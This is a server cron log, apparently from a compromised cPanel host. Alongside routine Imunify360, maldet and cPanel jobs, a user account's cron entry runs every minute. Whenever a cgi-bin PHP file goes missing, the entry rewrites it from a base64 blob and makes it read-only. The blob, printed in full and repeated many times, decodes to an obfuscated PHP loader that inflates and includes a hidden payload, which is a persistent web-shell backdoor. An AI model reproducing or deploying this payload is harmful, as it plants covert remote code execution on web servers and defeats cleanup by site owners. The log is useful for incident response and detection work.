Sep  1 07:00:01 server CROND[16498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:00:01 server CROND[16500]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:00:01 server CROND[16502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:00:01 server CROND[16496]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 07:00:01 server CROND[16507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:00:01 server CROND[16505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:01:01 server CROND[17321]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 07:01:01 server CROND[17322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:01:01 server CROND[17320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:01:01 server CROND[17323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:01:01 server run-parts(/etc/cron.hourly)[17321]: starting 0anacron
Sep  1 07:01:01 server run-parts(/etc/cron.hourly)[17343]: finished 0anacron
Sep  1 07:02:01 server CROND[17703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:02:01 server CROND[17704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:02:01 server CROND[17705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:03:01 server CROND[18196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:03:01 server CROND[18197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:03:01 server CROND[18198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:04:01 server CROND[18578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:04:01 server CROND[18579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:04:01 server CROND[18580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:05:01 server CROND[18978]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:05:01 server CROND[18980]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 07:05:01 server CROND[18981]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:05:01 server CROND[18983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:05:01 server CROND[18985]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:05:01 server CROND[18988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:05:01 server CROND[18990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:05:01 server CROND[18993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:06:01 server CROND[19820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:06:01 server CROND[19822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:06:01 server CROND[19821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:07:01 server CROND[20201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:07:01 server CROND[20202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:07:01 server CROND[20203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:08:01 server CROND[20684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:08:01 server CROND[20685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:08:01 server CROND[20686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:09:01 server CROND[21144]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 07:09:01 server CROND[21145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:09:01 server CROND[21143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:09:01 server CROND[21146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:10:01 server CROND[21542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:10:01 server CROND[21544]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:10:01 server CROND[21546]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:10:01 server CROND[21550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:10:01 server CROND[21549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:10:01 server CROND[21548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:10:01 server CROND[21547]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:10:01 server CROND[21551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:11:01 server CROND[22428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
